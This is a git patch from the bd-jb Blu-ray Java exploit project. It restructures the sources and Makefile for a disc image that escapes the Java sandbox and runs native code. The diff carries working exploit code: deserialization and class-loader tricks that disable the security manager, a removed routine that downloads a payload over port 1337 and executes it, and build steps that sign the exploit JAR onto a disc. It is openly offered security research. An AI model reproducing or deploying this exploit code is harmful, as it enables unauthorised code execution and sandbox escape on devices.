From fab3db6d51d51b16d55dcc41102188087898f985 Mon Sep 17 00:00:00 2001 From: Andy Nguyen Date: Thu, 4 Nov 2021 17:58:27 +0100 Subject: [PATCH] Restructure source code and improve Makefile. --- .gitignore | 1 + Makefile | 83 +++++++++++------ com/bdjb/Exploit.java | 93 ------------------- {com => src/com}/bdjb/API.java | 0 src/com/bdjb/Exploit.java | 69 ++++++++++++++ {com => src/com}/bdjb/ExploitXlet.java | 0 {com => src/com}/bdjb/JIT.java | 0 {com => src/com}/bdjb/Screen.java | 0 {com => src/com}/bdjb/UnsafeInterface.java | 0 {com => src/com}/bdjb/UnsafeJdkImpl.java | 0 {com => src/com}/bdjb/UnsafeSunImpl.java | 0 {com => src/com}/bdjb/bluray.ExploitXlet.perm | 0 .../kernel/ExploitKernelInterface.java | 6 +- .../sandbox/ExploitSandboxInterface.java | 12 +++ .../sandbox}/ExploitServiceProxyImpl.java | 12 ++- .../sandbox}/ExploitUserPrefsImpl.java | 21 +++-- .../bdjb/exploit/sandbox}/IxcProxyImpl.java | 2 +- .../com/bdjb/exploit/sandbox}/Payload.java | 2 +- .../exploit/sandbox}/PayloadClassLoader.java | 6 +- .../PayloadClassLoaderSerializer.java | 6 +- .../sandbox}/ProviderAccessorImpl.java | 2 +- .../bdjb/exploit/sandbox}/ServiceImpl.java | 2 +- .../exploit/sandbox}/ServiceInterface.java | 2 +- {jdk => src/jdk}/internal/misc/Unsafe.java | 0 24 files changed, 169 insertions(+), 150 deletions(-) delete mode 100644 com/bdjb/Exploit.java rename {com => src/com}/bdjb/API.java (100%) create mode 100644 src/com/bdjb/Exploit.java rename {com => src/com}/bdjb/ExploitXlet.java (100%) rename {com => src/com}/bdjb/JIT.java (100%) rename {com => src/com}/bdjb/Screen.java (100%) rename {com => src/com}/bdjb/UnsafeInterface.java (100%) rename {com => src/com}/bdjb/UnsafeJdkImpl.java (100%) rename {com => src/com}/bdjb/UnsafeSunImpl.java (100%) rename {com => src/com}/bdjb/bluray.ExploitXlet.perm (100%) rename com/bdjb/ExploitInterface.java => src/com/bdjb/exploit/kernel/ExploitKernelInterface.java (58%) create mode 100644 src/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java rename {com/bdjb => src/com/bdjb/exploit/sandbox}/ExploitServiceProxyImpl.java (88%) rename {com/bdjb => src/com/bdjb/exploit/sandbox}/ExploitUserPrefsImpl.java (69%) rename {com/bdjb => src/com/bdjb/exploit/sandbox}/IxcProxyImpl.java (97%) rename {com/bdjb => src/com/bdjb/exploit/sandbox}/Payload.java (95%) rename {com/bdjb => src/com/bdjb/exploit/sandbox}/PayloadClassLoader.java (88%) rename {com/bdjb => src/com/bdjb/exploit/sandbox}/PayloadClassLoaderSerializer.java (75%) rename {com/bdjb => src/com/bdjb/exploit/sandbox}/ProviderAccessorImpl.java (98%) rename {com/bdjb => src/com/bdjb/exploit/sandbox}/ServiceImpl.java (95%) rename {com/bdjb => src/com/bdjb/exploit/sandbox}/ServiceInterface.java (93%) rename {jdk => src/jdk}/internal/misc/Unsafe.java (100%) diff --git a/.gitignore b/.gitignore index 035c0b5..d053583 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ .idea/ +build/ tools/ lib/ disc/CERTIFICATE/id.bdmv diff --git a/Makefile b/Makefile index 5aed41d..479928e 100644 --- a/Makefile +++ b/Makefile @@ -1,34 +1,57 @@ -CLASSES = \ - com/bdjb/ExploitXlet.java \ - com/bdjb/Exploit.java \ - com/bdjb/ExploitInterface.java \ - com/bdjb/ExploitUserPrefsImpl.java \ - com/bdjb/ExploitServiceProxyImpl.java \ - com/bdjb/IxcProxyImpl.java \ - com/bdjb/ServiceInterface.java \ - com/bdjb/ServiceImpl.java \ - com/bdjb/ProviderAccessorImpl.java \ - com/bdjb/PayloadClassLoader.java \ - com/bdjb/Payload.java \ - com/bdjb/UnsafeInterface.java \ - com/bdjb/UnsafeJdkImpl.java \ - com/bdjb/UnsafeSunImpl.java \ - com/bdjb/API.java \ - com/bdjb/JIT.java \ - com/bdjb/Screen.java \ +BUILD = build +BDMV = bdmv +DISC = disc +LIB = lib +SRC = src +TOOLS = tools -all: - javac com/bdjb/PayloadClassLoaderSerializer.java && java com/bdjb/PayloadClassLoaderSerializer - javac -Xlint:all -Xlint:-options -source 1.4 -target 1.4 -bootclasspath "lib/rt.jar:lib/bdjstack.jar" $(CLASSES) - jar cf disc/BDMV/JAR/00000.jar com/bdjb/*.class com/bdjb/*.ser com/bdjb/bluray.ExploitXlet.perm - java -cp "tools/security.jar:tools/bcprov-jdk15-137.jar:tools/tools.jar" net.java.bd.tools.security.BDSigner disc/BDMV/JAR/00000.jar - java -jar tools/bdjo.jar bdmv/bdjo.xml disc/BDMV/BDJO/00000.bdjo - java -jar tools/MovieObject.jar bdmv/MovieObject.xml disc/BDMV/MovieObject.bdmv - java -jar tools/index.jar bdmv/index.xml disc/BDMV/index.bdmv - java -jar tools/id.jar bdmv/id.xml disc/CERTIFICATE/id.bdmv +CLASSES = \ + $(SRC)/com/bdjb/ExploitXlet.java \ + $(SRC)/com/bdjb/Exploit.java \ + $(SRC)/com/bdjb/UnsafeInterface.java \ + $(SRC)/com/bdjb/UnsafeJdkImpl.java \ + $(SRC)/com/bdjb/UnsafeSunImpl.java \ + $(SRC)/com/bdjb/API.java \ + $(SRC)/com/bdjb/JIT.java \ + $(SRC)/com/bdjb/Screen.java \ + $(SRC)/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java \ + $(SRC)/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java \ + $(SRC)/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java \ + $(SRC)/com/bdjb/exploit/sandbox/IxcProxyImpl.java \ + $(SRC)/com/bdjb/exploit/sandbox/ServiceInterface.java \ + $(SRC)/com/bdjb/exploit/sandbox/ServiceImpl.java \ + $(SRC)/com/bdjb/exploit/sandbox/ProviderAccessorImpl.java \ + $(SRC)/com/bdjb/exploit/sandbox/PayloadClassLoader.java \ + $(SRC)/com/bdjb/exploit/sandbox/Payload.java \ + $(SRC)/com/bdjb/exploit/kernel/ExploitKernelInterface.java \ + +JFLAGS = -Xlint:all -Xlint:-options -source 1.4 -target 1.4 -bootclasspath "$(LIB)/rt.jar:$(LIB)/bdjstack.jar" + +all: directory serialized classes jar bdmv + +directory: + mkdir -p $(BUILD) + +serialized: + javac -d $(BUILD) -sourcepath $(SRC) $(SRC)/com/bdjb/exploit/sandbox/PayloadClassLoaderSerializer.java + java -cp $(BUILD) com/bdjb/exploit/sandbox/PayloadClassLoaderSerializer $(BUILD)/com/bdjb/exploit/sandbox/PayloadClassLoader.ser + rm $(BUILD)/com/bdjb/exploit/sandbox/PayloadClassLoaderSerializer.class + +classes: + javac -d $(BUILD) -sourcepath $(SRC) $(JFLAGS) $(CLASSES) + +jar: + rm -rf $(BUILD)/jdk + cp $(SRC)/com/bdjb/bluray.ExploitXlet.perm $(BUILD)/com/bdjb/bluray.ExploitXlet.perm + cd $(BUILD) && jar cf ../$(DISC)/BDMV/JAR/00000.jar . && cd .. + java -cp "$(TOOLS)/security.jar:$(TOOLS)/bcprov-jdk15-137.jar:$(TOOLS)/tools.jar" net.java.bd.tools.security.BDSigner $(DISC)/BDMV/JAR/00000.jar + +bdmv: + java -jar $(TOOLS)/bdjo.jar $(BDMV)/bdjo.xml $(DISC)/BDMV/BDJO/00000.bdjo + java -jar $(TOOLS)/MovieObject.jar $(BDMV)/MovieObject.xml $(DISC)/BDMV/MovieObject.bdmv + java -jar $(TOOLS)/index.jar $(BDMV)/index.xml $(DISC)/BDMV/index.bdmv + java -jar $(TOOLS)/id.jar $(BDMV)/id.xml $(DISC)/CERTIFICATE/id.bdmv clean: - rm -rf jdk/internal/misc/*.class - rm -rf com/bdjb/*.class - rm -rf com/bdjb/*.ser + rm -rf build rm -rf META-INF diff --git a/com/bdjb/Exploit.java b/com/bdjb/Exploit.java deleted file mode 100644 index f0bc955..0000000 --- a/com/bdjb/Exploit.java +++ /dev/null @@ -1,93 +0,0 @@ -/* - * Copyright (C) 2021 Andy Nguyen - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ - -package com.bdjb; - -import java.io.FileOutputStream; -import java.io.InputStream; -import java.io.OutputStream; -import java.net.InetAddress; -import java.net.ServerSocket; -import java.net.Socket; - -class Exploit implements Runnable { - static void init() { - Screen.println("[+] bd-jb by theflow"); - - Screen.println("[*] Disabling security manager..."); - - ExploitInterface[] exploits = - new ExploitInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()}; - - for (int i = 0; i < exploits.length; i++) { - try { - exploits[i].trigger(); - if (System.getSecurityManager() == null) { - break; - } - } catch (Exception e) { - continue; - } - } - - if (System.getSecurityManager() != null) { - Screen.println("[-] Error could not disable security manager."); - } - } - - static void start() { - new Thread(new Exploit()).start(); - } - - public void run() { - if (System.getSecurityManager() != null) { - return; - } - - try { - Screen.println("[*] Installing native API..."); - API api = API.getInstance(); - - Screen.println("[*] Enabling JIT..."); - JIT jit = JIT.getInstance(); - - Screen.println( - "[*] Listening for payload on " - + InetAddress.getLocalHost().getHostAddress() - + ":1337..."); - - ServerSocket serverSocket = new ServerSocket(1337); - Socket socket = serverSocket.accept(); - - Screen.println("[*] Downloading payload..."); - - InputStream inputStream = socket.getInputStream(); - OutputStream outputStream = new FileOutputStream("/OS/HDD/download0/mnt_ada/payload.bin"); - - byte[] buf = new byte[8192]; - int read; - while ((read = inputStream.read(buf)) > 0) { - outputStream.write(buf, 0, read); - } - - outputStream.close(); - inputStream.close(); - - socket.close(); - - Screen.println("[*] Mapping payload..."); - long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin", 0x4000); - Screen.println("[+] payload: " + Long.toHexString(payload)); - - Screen.println("[*] Executing payload..."); - int ret = (int) api.call(payload, api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym")); - Screen.println("[+] Result: " + ret); - } catch (Exception e) { - Screen.println("[-] Error: " + e.getMessage()); - } - } -} diff --git a/com/bdjb/API.java b/src/com/bdjb/API.java similarity index 100% rename from com/bdjb/API.java rename to src/com/bdjb/API.java diff --git a/src/com/bdjb/Exploit.java b/src/com/bdjb/Exploit.java new file mode 100644 index 0000000..d075d22 --- /dev/null +++ b/src/com/bdjb/Exploit.java @@ -0,0 +1,69 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import com.bdjb.exploit.sandbox.ExploitSandboxInterface; +import com.bdjb.exploit.sandbox.ExploitUserPrefsImpl; +import com.bdjb.exploit.sandbox.ExploitServiceProxyImpl; +import com.bdjb.exploit.kernel.ExploitKernelInterface; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.InetAddress; +import java.net.ServerSocket; +import java.net.Socket; + +class Exploit implements Runnable { + static void init() { + Screen.println("[+] bd-jb by theflow"); + + Screen.println("[*] Escaping Java Sandbox..."); + + ExploitSandboxInterface[] exploits = + new ExploitSandboxInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()}; + + for (int i = 0; i < exploits.length; i++) { + try { + exploits[i].trigger(); + if (System.getSecurityManager() == null) { + break; + } + } catch (Exception e) { + continue; + } + } + + if (System.getSecurityManager() != null) { + Screen.println("[-] Error could not disable security manager."); + } + } + + static void start() { + new Thread(new Exploit()).start(); + } + + public void run() { + if (System.getSecurityManager() != null) { + return; + } + + Screen.println("[*] Exploiting kernel..."); + + ExploitKernelInterface[] exploits = new ExploitKernelInterface[] {}; + + for (int i = 0; i < exploits.length; i++) { + try { + if (exploits[i].trigger()) { + break; + } + } catch (Exception e) { + continue; + } + } + } +} diff --git a/com/bdjb/ExploitXlet.java b/src/com/bdjb/ExploitXlet.java similarity index 100% rename from com/bdjb/ExploitXlet.java rename to src/com/bdjb/ExploitXlet.java diff --git a/com/bdjb/JIT.java b/src/com/bdjb/JIT.java similarity index 100% rename from com/bdjb/JIT.java rename to src/com/bdjb/JIT.java diff --git a/com/bdjb/Screen.java b/src/com/bdjb/Screen.java similarity index 100% rename from com/bdjb/Screen.java rename to src/com/bdjb/Screen.java diff --git a/com/bdjb/UnsafeInterface.java b/src/com/bdjb/UnsafeInterface.java similarity index 100% rename from com/bdjb/UnsafeInterface.java rename to src/com/bdjb/UnsafeInterface.java diff --git a/com/bdjb/UnsafeJdkImpl.java b/src/com/bdjb/UnsafeJdkImpl.java similarity index 100% rename from com/bdjb/UnsafeJdkImpl.java rename to src/com/bdjb/UnsafeJdkImpl.java diff --git a/com/bdjb/UnsafeSunImpl.java b/src/com/bdjb/UnsafeSunImpl.java similarity index 100% rename from com/bdjb/UnsafeSunImpl.java rename to src/com/bdjb/UnsafeSunImpl.java diff --git a/com/bdjb/bluray.ExploitXlet.perm b/src/com/bdjb/bluray.ExploitXlet.perm similarity index 100% rename from com/bdjb/bluray.ExploitXlet.perm rename to src/com/bdjb/bluray.ExploitXlet.perm diff --git a/com/bdjb/ExploitInterface.java b/src/com/bdjb/exploit/kernel/ExploitKernelInterface.java similarity index 58% rename from com/bdjb/ExploitInterface.java rename to src/com/bdjb/exploit/kernel/ExploitKernelInterface.java index 4a27243..4a8cae8 100644 --- a/com/bdjb/ExploitInterface.java +++ b/src/com/bdjb/exploit/kernel/ExploitKernelInterface.java @@ -5,8 +5,8 @@ * of the MIT license. See the LICENSE file for details. */ -package com.bdjb; +package com.bdjb.exploit.kernel; -interface ExploitInterface { - public void trigger() throws Exception; +public interface ExploitKernelInterface { + public boolean trigger() throws Exception; } diff --git a/src/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java b/src/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java new file mode 100644 index 0000000..ded0c74 --- /dev/null +++ b/src/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java @@ -0,0 +1,12 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb.exploit.sandbox; + +public interface ExploitSandboxInterface { + public boolean trigger() throws Exception; +} diff --git a/com/bdjb/ExploitServiceProxyImpl.java b/src/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java similarity index 88% rename from com/bdjb/ExploitServiceProxyImpl.java rename to src/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java index 7266892..e1251d8 100644 --- a/com/bdjb/ExploitServiceProxyImpl.java +++ b/src/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java @@ -5,7 +5,7 @@ * of the MIT license. See the LICENSE file for details. */ -package com.bdjb; +package com.bdjb.exploit.sandbox; import java.io.FileOutputStream; import java.io.InputStream; @@ -16,19 +16,19 @@ import java.security.Provider; import java.security.Security; /** Implementation of the service+proxy exploit. */ -class ExploitServiceProxyImpl implements ExploitInterface { +public class ExploitServiceProxyImpl implements ExploitSandboxInterface { private static final String SERVICE_CLASS_NAME = "com.oracle.security.Service"; private static final String NEW_INSTANCE_METHOD_NAME = "newInstance"; private static final String NEW_INSTANCE_METHOD_SIGNATURE = "(Ljava/lang/Object;)Ljava/lang/Object;"; + private static final String PAYLOAD_CLASS_NAME = "com.bdjb.exploit.sandbox.Payload"; + private static final String JAR_URL = "file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar"; - private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload"; - - public void trigger() throws Exception { + public boolean trigger() throws Exception { // Throw exception if class does not exist. Class.forName(SERVICE_CLASS_NAME); @@ -56,5 +56,7 @@ class ExploitServiceProxyImpl implements ExploitInterface { // Instantiate the payload class with all permissions to disable the security manager. Class payloadClass = urlClassLoader.loadClass(PAYLOAD_CLASS_NAME); payloadClass.newInstance(); + + return true; } } diff --git a/com/bdjb/ExploitUserPrefsImpl.java b/src/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java similarity index 69% rename from com/bdjb/ExploitUserPrefsImpl.java rename to src/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java index f9137b7..9b9edec 100644 --- a/com/bdjb/ExploitUserPrefsImpl.java +++ b/src/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java @@ -5,7 +5,7 @@ * of the MIT license. See the LICENSE file for details. */ -package com.bdjb; +package com.bdjb.exploit.sandbox; import java.io.FileOutputStream; import java.io.InputStream; @@ -14,16 +14,17 @@ import java.io.OutputStream; import org.havi.ui.HSceneFactory; /** Implementation of the userprefs deserialization exploit. */ -class ExploitUserPrefsImpl implements ExploitInterface { - private static final String MNT_ADA_USERPREFS = "/OS/HDD/download0/mnt_ada/userprefs"; +public class ExploitUserPrefsImpl implements ExploitSandboxInterface { + private static final String USERPREFS_FILE = "/OS/HDD/download0/mnt_ada/userprefs"; - private static final String PAYLOAD_CLASS_LOADER_SER = "/com/bdjb/PayloadClassLoader.ser"; + private static final String PAYLOAD_CLASS_LOADER_SER_FILE = + "/com/bdjb/exploit/sandbox/PayloadClassLoader.ser"; - public void trigger() throws Exception { + public boolean trigger() throws Exception { try { // Overwrite userprefs with a serialized PayloadClassLoader. - InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_LOADER_SER); - OutputStream outputStream = new FileOutputStream(MNT_ADA_USERPREFS); + InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_LOADER_SER_FILE); + OutputStream outputStream = new FileOutputStream(USERPREFS_FILE); byte[] buf = new byte[8192]; int read; @@ -42,15 +43,19 @@ class ExploitUserPrefsImpl implements ExploitInterface { // Instantiate the payload class. PayloadClassLoader.getInstance().newPayload(); + + return true; } } finally { // Restore userprefs file. String[][] preferences = new String[9][]; preferences[3] = new String[] {"26"}; ObjectOutputStream outputStream = - new ObjectOutputStream(new FileOutputStream(MNT_ADA_USERPREFS)); + new ObjectOutputStream(new FileOutputStream(USERPREFS_FILE)); outputStream.writeObject(preferences); outputStream.close(); } + + return false; } } diff --git a/com/bdjb/IxcProxyImpl.java b/src/com/bdjb/exploit/sandbox/IxcProxyImpl.java similarity index 97% rename from com/bdjb/IxcProxyImpl.java rename to src/com/bdjb/exploit/sandbox/IxcProxyImpl.java index 52bc86a..2d61668 100644 --- a/com/bdjb/IxcProxyImpl.java +++ b/src/com/bdjb/exploit/sandbox/IxcProxyImpl.java @@ -5,7 +5,7 @@ * of the MIT license. See the LICENSE file for details. */ -package com.bdjb; +package com.bdjb.exploit.sandbox; import com.sony.gemstack.core.CoreAppContext; import com.sony.gemstack.core.CoreIxcClassLoader; diff --git a/com/bdjb/Payload.java b/src/com/bdjb/exploit/sandbox/Payload.java similarity index 95% rename from com/bdjb/Payload.java rename to src/com/bdjb/exploit/sandbox/Payload.java index fe5ff91..b6c0849 100644 --- a/com/bdjb/Payload.java +++ b/src/com/bdjb/exploit/sandbox/Payload.java @@ -5,7 +5,7 @@ * of the MIT license. See the LICENSE file for details. */ -package com.bdjb; +package com.bdjb.exploit.sandbox; import java.security.AccessController; import java.security.PrivilegedActionException; diff --git a/com/bdjb/PayloadClassLoader.java b/src/com/bdjb/exploit/sandbox/PayloadClassLoader.java similarity index 88% rename from com/bdjb/PayloadClassLoader.java rename to src/com/bdjb/exploit/sandbox/PayloadClassLoader.java index e7c1bf1..cae2277 100644 --- a/com/bdjb/PayloadClassLoader.java +++ b/src/com/bdjb/exploit/sandbox/PayloadClassLoader.java @@ -5,7 +5,7 @@ * of the MIT license. See the LICENSE file for details. */ -package com.bdjb; +package com.bdjb.exploit.sandbox; import java.io.ByteArrayOutputStream; import java.io.InputStream; @@ -19,8 +19,8 @@ import java.security.ProtectionDomain; class PayloadClassLoader extends ClassLoader implements Serializable { private static final long serialVersionUID = 0x4141414141414141L; - private static final String PAYLOAD_CLASS_FILE = "/com/bdjb/Payload.class"; - private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload"; + private static final String PAYLOAD_CLASS_FILE = "/com/bdjb/exploit/sandbox/Payload.class"; + private static final String PAYLOAD_CLASS_NAME = "com.bdjb.exploit.sandbox.Payload"; private static PayloadClassLoader instance; diff --git a/com/bdjb/PayloadClassLoaderSerializer.java b/src/com/bdjb/exploit/sandbox/PayloadClassLoaderSerializer.java similarity index 75% rename from com/bdjb/PayloadClassLoaderSerializer.java rename to src/com/bdjb/exploit/sandbox/PayloadClassLoaderSerializer.java index 513243a..c985ae2 100644 --- a/com/bdjb/PayloadClassLoaderSerializer.java +++ b/src/com/bdjb/exploit/sandbox/PayloadClassLoaderSerializer.java @@ -5,8 +5,9 @@ * of the MIT license. See the LICENSE file for details. */ -package com.bdjb; +package com.bdjb.exploit.sandbox; +import com.bdjb.exploit.sandbox.PayloadClassLoader; import java.io.FileOutputStream; import java.io.ObjectOutputStream; @@ -14,8 +15,7 @@ import java.io.ObjectOutputStream; class PayloadClassLoaderSerializer { public static void main(String[] args) { try { - ObjectOutputStream objectOutputStream = - new ObjectOutputStream(new FileOutputStream("com/bdjb/PayloadClassLoader.ser")); + ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(args[0])); objectOutputStream.writeObject(new PayloadClassLoader()); objectOutputStream.close(); } catch (Exception e) { diff --git a/com/bdjb/ProviderAccessorImpl.java b/src/com/bdjb/exploit/sandbox/ProviderAccessorImpl.java similarity index 98% rename from com/bdjb/ProviderAccessorImpl.java rename to src/com/bdjb/exploit/sandbox/ProviderAccessorImpl.java index 3e72b9f..33d7b25 100644 --- a/com/bdjb/ProviderAccessorImpl.java +++ b/src/com/bdjb/exploit/sandbox/ProviderAccessorImpl.java @@ -5,7 +5,7 @@ * of the MIT license. See the LICENSE file for details. */ -package com.bdjb; +package com.bdjb.exploit.sandbox; import com.oracle.ProviderAccessor; import com.oracle.ProviderAdapter; diff --git a/com/bdjb/ServiceImpl.java b/src/com/bdjb/exploit/sandbox/ServiceImpl.java similarity index 95% rename from com/bdjb/ServiceImpl.java rename to src/com/bdjb/exploit/sandbox/ServiceImpl.java index 96acb2f..f1a3086 100644 --- a/com/bdjb/ServiceImpl.java +++ b/src/com/bdjb/exploit/sandbox/ServiceImpl.java @@ -5,7 +5,7 @@ * of the MIT license. See the LICENSE file for details. */ -package com.bdjb; +package com.bdjb.exploit.sandbox; import com.oracle.security.Service; import java.util.List; diff --git a/com/bdjb/ServiceInterface.java b/src/com/bdjb/exploit/sandbox/ServiceInterface.java similarity index 93% rename from com/bdjb/ServiceInterface.java rename to src/com/bdjb/exploit/sandbox/ServiceInterface.java index 04c94d8..f0a0a84 100644 --- a/com/bdjb/ServiceInterface.java +++ b/src/com/bdjb/exploit/sandbox/ServiceInterface.java @@ -5,7 +5,7 @@ * of the MIT license. See the LICENSE file for details. */ -package com.bdjb; +package com.bdjb.exploit.sandbox; import java.rmi.Remote; import java.rmi.RemoteException; diff --git a/jdk/internal/misc/Unsafe.java b/src/jdk/internal/misc/Unsafe.java similarity index 100% rename from jdk/internal/misc/Unsafe.java rename to src/jdk/internal/misc/Unsafe.java